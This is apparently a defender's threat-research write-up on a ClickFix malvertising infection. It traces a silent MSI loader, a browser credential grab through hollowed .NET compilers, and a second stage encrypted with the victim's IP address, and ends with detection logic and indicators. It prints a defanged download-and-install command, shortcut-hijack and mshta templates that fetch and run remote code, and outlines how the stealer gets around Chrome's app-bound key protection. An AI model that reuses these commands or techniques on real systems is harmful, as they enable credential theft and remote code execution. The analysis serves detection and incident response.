clickfix · malvertising · detection · threat-hunting · infostealer
The Key Was the Victim's IP Address
We have written about ClickFix enough times now that the paste itself is not the story. Trusted Hops, Integer Hosts covered a chain that ended at the installer and said plainly that we had not reversed the sample. This post picks up where that one stopped, with a different operator and a different payload, and follows what happened on the endpoint after the installer ran.
Three things stood out. The browser credential grab started 22 seconds after the paste, through two Microsoft-signed .NET tools started with no arguments at all. The last stage was a PowerShell script encrypted with a key derived from the victim's public IP address, so a sandbox that detonates it gets an error and nothing else. And we misread one event during the investigation, which we cover near the end because the same mistake is easy to make with any EDR.
Every event below comes from the endpoint's own telemetry. Times are offsets from the moment the browser reached the lure page.
Two minutes, start to finish
A user in an environment we monitor was on a legitimate website when an ad redirect sent the browser through a traffic-distribution domain, witchertraff[.]cc, and on to the lure at ah9vba.roachtraffic[.]cc. Six seconds later the browser looked up six different "what is my IP" services in the same instant. Keep that in mind; it comes back later.
| Offset | What happened |
|---|---|
+00:00:00 |
Browser resolves the lure, ah9vba.roachtraffic[.]cc |
+00:00:06 |
Browser queries six public-IP echo services |
+00:00:22 |
Explorer starts an interactive cmd.exe |
+00:00:33 |
That console runs an obfuscated cmd /v:on command: the paste |
+00:00:35 |
PowerShell downloads S.msi from 23.94.145[.]115, written as the integer 392073587 |
+00:00:42 |
msiexec /i %TEMP%\S.msi /qn /norestart MSIINSTALLPERUSER=1 |
+00:00:43 |
MSI custom action runs powershell -ExecutionPolicy Bypass -File %TEMP%\705546.ps1 |
+00:00:54 |
That PowerShell starts Chrome, Edge and csc.exe, the last with no arguments |
+00:00:55 to +00:01:08 |
Chrome's app-bound encryption key is used four times |
+00:00:57 |
The user's open Chrome session ends; ilasm.exe starts with no arguments |
+00:00:57 to +00:01:03 |
ilasm.exe makes seven HTTPS connections to veliomelio[.]cc |
+00:00:59 |
ilasm.exe relaunches Chrome and Edge with --no-sandbox |
+00:01:49 |
ilasm.exe unpacks a portable Python into the user profile |
+00:01:51 |
Python starts %TEMP%\SearchHost.exe -NoProfile -Command - |
+00:01:56 |
SearchHost.exe connects to systemdriver[.]vg |
+00:02:04 |
SearchHost.exe asks api.ipify[.]org for the public IP |
+00:02:08 |
SearchHost.exe and Python exit; nothing from the chain runs again |
From the lure loading to the last process exiting took two minutes and eight seconds. From the paste to the first connection to the exfiltration server took 24 seconds. The host was network-isolated about 55 minutes after the paste, and by then the chain had been finished for almost an hour.
The paste went into a Command Prompt, not the Run dialog: Explorer started a plain cmd.exe with no arguments, and eleven seconds later that console spawned the obfuscated command. The obfuscation is the delayed-expansion kind. A 66-character alphabet goes into one variable, a for loop walks a list of index numbers to rebuild the real command one character at a time, and a few tokens are swapped back at the end (@ becomes a space, +AND+ becomes &&). Decoded, it compiles a two-function C# helper with Add-Type, minimizes its own console, and runs:
iwr hxxp://392073587[/]4 -OutFile $env:TEMP\S.msi -UseBasicParsing;msiexec /i $env:TEMP\S.msi /qn /norestart MSIINSTALLPERUSER=1
We've defanged the URL (hxxp and a bracketed /); as decoded, it was a plain http:// URL and worked as-is. The integer host is the trick we described in Trusted Hops, so we won't repeat it here.
The installer carries its own key
The MSI registered itself as SynerIntegration version 4.1.6, manufacturer Sare Level Corp, product code {AC4EB43D-21EA-4DC2-B68F-96A5E2CB5367}, and Windows Installer logged "Installation completed successfully" three seconds after msiexec started. The manufacturer is a field the attacker typed into the package, not a code-signing identity; we did not recover the MSI and can't tell you whether it was signed.
What the installer actually did was run a custom action. The Windows Installer service's own MsiExec.exe -Embedding host started PowerShell with -NoProfile -ExecutionPolicy Bypass -File %TEMP%\705546.ps1, passing the path of the MSI as the only argument. Script block logging captured 705546.ps1 in full. It opens the MSI as a database, reads one row from the Binary table, a stream named NumDictionary3180, and treats the first 32 bytes as an AES key, the next 16 as the IV and the rest as AES-CBC ciphertext. The decrypted bytes go to a second C# class built on VirtualAlloc, VirtualProtect, LoadLibraryA, GetProcAddress and CreateThread: a PE loader that maps the payload into the PowerShell process and starts it. The script then sleeps in an infinite loop to keep the host process alive.
So the payload is encrypted, and the key sits in the same file, right next to it. Anyone holding the MSI can decrypt it. That is the baseline to compare the second stage against.
From inside PowerShell, the loaded PE asked ipinfo[.]io about the host, then contacted zgrongbo[.]com, nsgggg[.]com and mwvrecreation[.]com (all three behind Cloudflare) between +00:00:46 and +00:00:57.
Compilers that compile nothing
At +00:00:54 the same PowerShell process started C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\csc.exe, and three seconds later ilasm.exe from the same directory. Both are Microsoft-signed, both are the real files with their normal hashes, and both had a command line consisting of nothing but their own path.
Run either of those by hand with no arguments and it prints its usage text and exits in well under a second. These two stayed alive. csc.exe ran for 13 seconds, started a Chrome window, and at +00:01:01 the sensor saw a module inside it loaded from a randomly named folder under %LOCALAPPDATA%, a file that was already gone from disk when the sensor tried to hash it. ilasm.exe ran for 54 seconds. In that time it connected to veliomelio[.]cc (80.240.24[.]115) seven times on port 443, relaunched both browsers, reached www.python.org, ran tar.exe to unpack %TEMP%\py_embed.zip into C:\Users\<user>\Python313, and started pythonw.exe from there.
None of that is code that ships in a compiler. The telemetry didn't record the write into either process, so we can't show you the injection itself, but a compiler doing network I/O and starting browsers can only be running someone else's code, and starting a signed process and replacing its contents is the most likely way that code got there. The PowerShell process that started them crashed with an access violation at +00:01:00, after both had launched.
Two details are worth carrying into your detections. First, PowerShell launches csc.exe all the time, legitimately, every time Add-Type compiles something, and the same 705546.ps1 process did exactly that twice. Those runs look like csc.exe /noconfig /fullpaths @"...\Temp\<random>.cmdline". An empty command line is the difference, and it is a very clean one. Second, the portable Python that followed is the same embedded-runtime trick described in Disposable Domains, Durable Hosting; the new part is what that runtime started.
Restarting the browser to get its key
At +00:00:57 every process in the user's running Chrome session ended in the same millisecond. Two seconds later ilasm.exe started Chrome and Edge again with this command line:
"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --no-first-run --disable-gpu --disable-extensions
Both instances lived about two seconds. We did not see what ended the original session, but a whole process tree terminating at once is what a forced kill looks like, and the relaunch followed immediately.
The Security log explains why. Event 5058 records key file operations, and over 13 seconds, from +00:00:55 to +00:01:08, it logged four operations on a machine key named Google Chromekey1, each one a few seconds after Chrome's elevation_service.exe started. In the preceding 23 hours the same key had been used twice.
That key belongs to Chrome's app-bound encryption. Since Chrome added the feature in 2024, the key that protects saved passwords and cookies is wrapped by a SYSTEM service that checks the caller is Chrome itself before it unwraps anything. Code running as the user can't simply read it from disk any more, so stealers make a running Chrome do the unwrapping for them. Killing the user's browser and starting fresh copies, with the sandbox and extensions turned off, under the control of the injected process, is consistent with that. The burst of key operations is the elevation service doing its job on behalf of browsers the attacker started.
We can't see inside those browser processes, and the sensor reports connections, not byte counts, so we can't tell you exactly what left the machine. What we can say is that the key was used at the moment the attacker's browsers were running, and the attacker's process was talking to veliomelio[.]cc at the same time. We handled it as a credential theft.
One more consequence. At +00:01:04 the hijacked csc.exe started a plain chrome.exe, and that instance became the user's ordinary browsing session. It restored their tabs, reloaded the lure page at +00:01:18, and was still running when we isolated the host. Anything the user signed into after the first minute happened in a browser whose parent process was attacker code.
SearchHost.exe is PowerShell
The portable Python ran C:\Users\<user>\App_<32 hex>.py, which we did not recover. One second later it started this:
C:\Users\<user>\AppData\Local\Temp\SearchHost.exe -NoProfile -Command -
SearchHost.exe is a real Windows component name. The genuine one is Microsoft-signed and lives under C:\Windows\SystemApps\. This one was unsigned, 495,616 bytes, sitting in the user's temp folder, and its version resource claimed an original file name of SearchHost.exe with the same file version as the host's own powershell.exe. VirusTotal had never seen the hash when we checked.
The PowerShell event log gave it away. Event 400, which PowerShell writes whenever an engine starts, recorded HostName=ConsoleHost, EngineVersion=5.1 and HostApplication=C:\Users\<user>\AppData\Local\Temp\SearchHost.exe -NoProfile -Command -. Whatever the file is called, it is a PowerShell 5.1 console host, most likely a copy of powershell.exe with its version information rewritten. -Command - tells it to read the script from standard input, which is how Python handed it the next stage: the script blocks that followed carry no file path at all.
Event 400 is worth more attention than it usually gets. Command-line rules that look for powershell.exe or pwsh.exe never see this process. Event 400 is written by the engine, not by the executable, so it names whatever file is hosting PowerShell. Any HostApplication path that is not one of your known PowerShell hosts is a finding.
A stage that only runs on the victim
The first script block was one line, Set-ExecutionPolicy -Scope CurrentUser Bypass -Force. The second was 238 KB, split by PowerShell across 15 logged events, and almost all of it is one byte array assembled in hundreds of small pieces. The code around that array does this:
- Asks for the machine's public IPv4 address, trying
api.ipify[.]org,ifconfig[.]me/ip,checkip.amazonaws[.]com,ipv4.icanhazip[.]comandv4.ident[.]mein order. It retries the whole list every five seconds for up to 12 rounds, and if nothing answers it dies withError: statusCode 904771. - Reads a header from the array: the magic
PSP3, an iteration count, a 16-byte salt, a 16-byte nonce and a 32-byte SHA-256 hash. - Derives a 32-byte key with PBKDF2 (
Rfc2898DeriveBytes, HMAC-SHA1) from the IP address string and the salt. The iteration count in this sample is one. - Generates a keystream by hashing key, nonce and an 8-byte counter with SHA-256, one block at a time, and XORs it over the ciphertext.
- Gunzips the result and compares its SHA-256 to the hash in the header. If they don't match it throws
Error: statusCode 932194and stops. - If they match, turns the text into a script block and dot-sources it.
The password is the victim's public IP address. Run this script in a sandbox and it fetches the sandbox's address, derives the wrong key, fails the hash check and throws an error code. No decrypted payload ever exists in that environment, so there is nothing to extract and nothing to write a signature for. The integrity hash makes the failure clean rather than noisy: the script never tries to execute garbage.
For the operator to build this, their server must know the victim's address in advance. We can't see the server side, but the six IP-echo lookups from the lure page at +00:00:06, before anything was pasted, are exactly the information it would need.
For a defender, the design has a weak point: the key is in your own logs. Your firewall, your proxy and your EDR all record the addresses an endpoint used to reach the internet, and with one PBKDF2 iteration and an integrity hash of the plaintext in the header, testing a candidate costs nothing. This endpoint's traffic left through three different public addresses over the 24 hours we had. One of them decrypted the blob to a 178 KB PowerShell script whose SHA-256 matched the header. The other two produced noise, which is the same thing a sandbox would have produced.
That detail also limits what we can say about the host. The sensor's own connection was using a different one of those addresses while the stager ran, and we don't know which address api.ipify[.]org returned to SearchHost.exe. The process exited four seconds after the lookup, there was no further traffic to the C2 from any process, and no scheduled task was created (task-creation auditing was on and logged other tasks that day). That pattern fits a failed hash check, and it also fits a stage that ran briefly and stopped. We can't distinguish the two, so we don't claim either. SearchHost.exe had also connected to systemdriver[.]vg on ports 80 and 443 at +00:01:56, before the decryption code was logged; we don't know what that exchange carried.
What the second stage would have done
We decrypted the stage offline and read it as text; we did not run it. It is a profiler and remote-access tool more than a stealer in its own right, and its C2 is hard-coded as hxxps://systemdriver[.]vg.
Profiling. It builds a hardware ID and collects the OS version, installed antivirus from root\SecurityCenter2, the user and domain names, and whether a particular commercial EDR's service is present. It walks 66 Chromium-family browser data paths, each with up to ten profiles, checking for 69 crypto-wallet extension IDs. It checks for desktop wallets (Exodus, Atomic, Guarda, KeepKey, BitBox, Trezor and Ledger Live) and for Signal. All of that goes to the C2 in a connect?hwid= check-in carrying wallets=, ledger=, exts=, extlist= and signal= parameters. A victim with a wallet is worth more to this operator, and the check-in tells them so.
Tasking. It polls getUpdate, fetches getModule?name= and getPsModule payloads, confirms with approveUpdate?id=, and has a generic download-and-execute task with an optional persist flag. The credential theft we saw in the first two minutes came from the earlier stage; this one is how the operator would come back for more.
Persistence. It registers a scheduled task through the Task Scheduler COM interface, named from SystemDriversUpdate, ServiceUpdateTask or EdgeUpdateTask, repeating every 60 minutes for 760 days and relaunching a Python script in the user profile. EdgeUpdateTask sits close to Edge's real MicrosoftEdgeUpdateTaskMachineCore and MicrosoftEdgeUpdateTaskMachineUA, so check the full name and the action, not a substring.
It also rewrites browser shortcuts. For every .lnk on the user's desktop and the all-users desktop that points at chrome.exe, msedge.exe, opera.exe, browser.exe, firefox.exe, brave.exe or vivaldi.exe, it changes the target to:
C:\Windows\System32\conhost.exe --headless cmd.exe /c start "" "<original browser path>" & start "" powershell -ep bypass -c "irm '<url>'|iex"
and keeps the original icon. The user clicks the same icon, the browser opens as expected, and a hidden PowerShell fetches and runs the next stage alongside it.
Spreading. On removable drives it hides .exe, .doc, .docx and .pdf files and drops a shortcut with each original name that runs cmd.exe /c start "" ".\<file>" & start "" mshta "<url>", so the real file still opens and mshta runs in the background.
None of this was observed on the host, and we have to be precise about why. No scheduled task was created, and no process ever ran conhost.exe --headless with a browser path or mshta.exe. But this endpoint sent no file or registry telemetry, so we could not inspect shortcut files directly, and a registry-based autorun in the user's hive would not have shown up either. The stage reads the Run keys and Startup folder, apparently to inventory them, and we did not find code that writes to them. Our conclusion is that we found no evidence the stage persisted, not that it didn't.
What we got wrong at first
About 20 minutes after the lure, the sensor reported a start-up event, the kind it sends when it comes up with the machine. Eleven seconds later PowerShell event log records arrived again for the whole 15-part stage-2 script. A reboot followed by the stager running again is what persistence looks like, and that was our first reading.
It wasn't a reboot. Twelve seconds before that start-up event, the EDR agent's own process had stopped and restarted. When it came back it re-collected recent event log entries, which is why the stager appeared twice: the second copies carry the same event record IDs as the originals. The boot ID in the Kernel-Power events never changed, and the user's post-infection Chrome session was still running.
Two habits came out of that. Before treating a sensor start-up as a reboot, check the boot ID and whether long-running user processes survived it. Before treating a repeated script block as a second execution, compare the event record IDs; Windows numbers each record once, so a re-read keeps the same number and a re-run gets a new one.
What to take away
Twenty-four seconds from paste to the exfiltration server is faster than any analyst reads an alert. The detections that fired here were correct and early, and they still arrived after the browser key had been used. For a ClickFix execution that reaches a no-argument compiler or a browser relaunch, start from the assumption that browser-stored credentials and live sessions are gone: reset passwords for anything saved in that browser, revoke sessions and tokens rather than only changing passwords, and treat any browsing done in the post-infection Chrome session as exposed. If wallet software or extensions are present, move the funds from a clean device.
For detection, the most useful signals in this chain are the ones the attacker could not avoid creating: a compiler with an empty command line making connections, a browser started with --no-sandbox by something that isn't a browser, a PowerShell engine reporting a host that isn't PowerShell, and a burst of browser-key operations. They are written out in Appendix A.
Appendix A: Detection Mechanisms
Detection logic described in prose and pseudo-logic. Nothing here is presented as a deployed rule; field names are generic, so map them to your own telemetry and baseline each one before alerting.
1. .NET framework tools started with no arguments. Alert when the image is csc.exe, ilasm.exe, vbc.exe, jsc.exe, RegAsm.exe, RegSvcs.exe or InstallUtil.exe from \Microsoft.NET\Framework\ or \Framework64\, and the command line, after trimming quotes and whitespace, equals the image path. Raise the severity if the same process later makes an outbound network connection or creates a child process. This is the cleanest signal in the case. Legitimate Add-Type compiles always pass /noconfig and an @<file>.cmdline argument. We left MSBuild.exe off the list on purpose: run with no arguments it builds the project file in its working directory, which is ordinary developer use.
image.name in (csc.exe, ilasm.exe, vbc.exe, jsc.exe, regasm.exe, regsvcs.exe, installutil.exe)
AND image.path contains "\Microsoft.NET\Framework"
AND trim(command_line, quotes/whitespace) == image.path
[escalate] AND (process has outbound connection OR process creates a child)
2. Browsers launched with the sandbox disabled by a non-browser. Alert when chrome.exe, msedge.exe, brave.exe or another Chromium browser starts with --no-sandbox and its parent is not itself a browser. Expect noise from test automation and some kiosk or Electron tooling, so allowlist known parents by path. A browser whose parent is csc.exe, ilasm.exe or PowerShell needs no baseline.
3. A burst of browser key operations. If you audit "Other System Events", event 5058 with KeyName Google Chromekey1 (or the Edge equivalent on your fleet) is normally rare, roughly a couple of times a day on this host. Several within a minute, especially alongside browser processes started by an unusual parent, is worth a look. Check what key names your own browsers use before relying on this.
4. PowerShell hosted by something that isn't PowerShell. On event 400 (and 600) in the Windows PowerShell log, extract HostApplication and alert when its executable is not one of your known hosts (powershell.exe, powershell_ise.exe, pwsh.exe, plus anything your management tooling uses). This catches renamed copies regardless of the name they choose. Pair it with a simpler rule: an unsigned executable named after a Windows component (SearchHost.exe, svchost.exe, RuntimeBroker.exe and the like) running from a user-writable path.
5. MSI custom action PowerShell from the user's temp folder. Alert when MsiExec.exe -Embedding starts PowerShell with -ExecutionPolicy Bypass and -File pointing into \AppData\Local\Temp\, especially with an .msi path as an argument. A script that is handed its own installer's path is reading something out of that installer.
6. Public-IP lookups by non-browser processes. Alert on DNS queries or connections to api.ipify[.]org, ifconfig[.]me, checkip.amazonaws[.]com, icanhazip[.]com, ident[.]me, ipinfo[.]io and similar services from PowerShell, script interpreters, LOLBins or unsigned binaries in user paths. Browsers and a few updaters do this legitimately. In this case it happened twice, from the loader and from the stager, and in the stager it was the step that fetched the decryption key.
7. Browser shortcuts pointing at conhost.exe --headless. Hunt for .lnk files on user and public desktops whose target is conhost.exe and whose arguments contain --headless, and alert on process creation where conhost.exe --headless launches cmd.exe with start and a browser path in the same command. Developer tools use headless consoles too (VS Code's OpenConsole.exe passes --headless with --width and --height), so key on the cmd.exe /c start and browser combination.
8. Script block content. If you collect event 4104, these strings from the stager are specific: IP> try:, IP> EXHAUSTED after, statusCode 932194 and statusCode 904771. They are cheap to change, so treat them as a hunt for this build, not a durable rule. The more durable pattern is a single script block that references Rfc2898DeriveBytes, GZipStream and ScriptBlock and also requests an IP-echo URL.
Appendix B: Indicators of Compromise
Attacker-controlled except where marked. Several domains sit behind Cloudflare; block the names, not those addresses.
witchertraff[.]cc traffic-distribution hop before the lure
ah9vba.roachtraffic[.]cc ClickFix lure
104.21.93[.]142, 172.67.210[.]223 lure, shared Cloudflare, do NOT block
hxxp://392073587[/]4 MSI download as pasted (integer host)
23.94.145[.]115 MSI staging host, port 80
zgrongbo[.]com contacted by the in-memory loader
nsgggg[.]com contacted by the in-memory loader
mwvrecreation[.]com contacted by the in-memory loader
veliomelio[.]cc exfiltration/C2 from hollowed ilasm.exe
80.240.24[.]115 veliomelio[.]cc, port 443
systemdriver[.]vg stage-2 C2, hard-coded as https
31.57.107[.]214 systemdriver[.]vg, ports 80 and 443
api.ipify[.]org, ipinfo[.]io legitimate services, abused; do NOT block
8681f02b183e2f83559bc168012285ff8a5e1f979c33f9c679fd4a0305e7df1f SearchHost.exe (SHA-256), unsigned PowerShell host in %TEMP%
97abeb4d844973375abf9e42091031db SearchHost.exe (MD5)
46ecb6c76fe6b02dd3593f43c5be56974502923c SearchHost.exe (SHA-1)
6384bd98ba47386bd561bf5dd2182b6b3094285c86b64748f8affae111087b2d stage-2 PowerShell after decryption (the encrypted
blob is keyed per victim and will not match)
e98f517f1fa209c691c57d058e538473c4dedcecacd2e466c3f2bce54fc431f4 pythonw.exe, legitimate PSF-signed binary;
block by path, not hash
SynerIntegration 4.1.6 MSI product name and version
Sare Level Corp MSI manufacturer field
{AC4EB43D-21EA-4DC2-B68F-96A5E2CB5367} MSI product code
NumDictionary3180 MSI Binary table stream holding the AES-encrypted PE
%TEMP%\S.msi downloaded installer
%TEMP%\705546.ps1 custom action script
%TEMP%\py_embed.zip portable Python archive
%USERPROFILE%\Python313\pythonw.exe portable Python
%USERPROFILE%\App_<32 hex>.py Python launcher script
%TEMP%\SearchHost.exe -NoProfile -Command - renamed PowerShell host and its command line
%LOCALAPPDATA%\<12 random>\<8 random>.exe transient module seen inside csc.exe
SystemDriversUpdate*, ServiceUpdateTask*, scheduled task names in stage-2 code (not observed)
EdgeUpdateTask*
conhost.exe --headless cmd.exe /c start ... browser shortcut hijack in stage-2 code (not observed)
ATT&CK techniques observed: T1189 Drive-by Compromise, T1204.004 Malicious Copy and Paste, T1059.003 Windows Command Shell, T1059.001 PowerShell, T1027 Obfuscated Files or Information, T1218.007 Msiexec, T1620 Reflective Code Loading, T1055.012 Process Hollowing (assessed), T1555.003 Credentials from Web Browsers (assessed), T1036.003 Rename Legitimate Utilities, T1036.005 Match Legitimate Resource Name or Location, T1016 System Network Configuration Discovery, T1480.001 Environmental Keying and T1071.001 Web Protocols. Present in stage-2 code but not observed: T1053.005 Scheduled Task, T1547.009 Shortcut Modification and T1091 Replication Through Removable Media.
